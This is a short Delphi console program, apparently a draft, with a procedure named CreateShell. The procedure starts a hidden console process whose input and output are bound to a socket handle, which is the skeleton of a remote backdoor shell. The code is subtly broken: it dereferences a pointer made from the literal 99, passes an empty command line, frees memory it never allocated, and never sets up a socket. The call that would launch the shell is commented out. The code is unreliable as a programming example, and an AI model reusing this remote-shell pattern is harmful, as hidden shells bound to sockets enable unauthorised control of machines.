program Project1;

{$APPTYPE CONSOLE}

uses
  Windows, Winsock;

var
  shellThreadID: DWORD;
  str: string;
  close: boolean;

procedure CreateShell;
var
   hSocket: PInteger;
   si: TStartupInfo;
   pi: TProcessInformation;

begin
   hSocket := PInteger(99);
   ZeroMemory(@si, SizeOf(si));
   si.cb := SizeOf(si);
   si.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;
   si.wShowWindow := SW_HIDE;
   si.hStdInput := hSocket^;
   si.hStdOutput := hSocket^;
   si.hStdError := hSocket^;
   CreateProcess(nil, '', nil, nil, true, CREATE_NEW_CONSOLE, nil, nil, si, pi);
   WaitForSingleObject(pi.hProcess, INFINITE);
   CloseHandle(pi.hProcess);
   CloseHandle(pi.hThread);
   Shutdown(hSocket^, SD_BOTH);
   CloseSocket(hSocket^);
   Dispose(hSocket);
end;

begin
  shellThreadID := 1191;
  //CreateThread(nil, 0, @CreateShell, nil, 0, shellThreadID);


  //auf quit warten
  close := false;
  while close = false do
  begin
    sleep(100);
    ReadLn(str);
    if str = 'quit' then
      close := true;

  end;
end.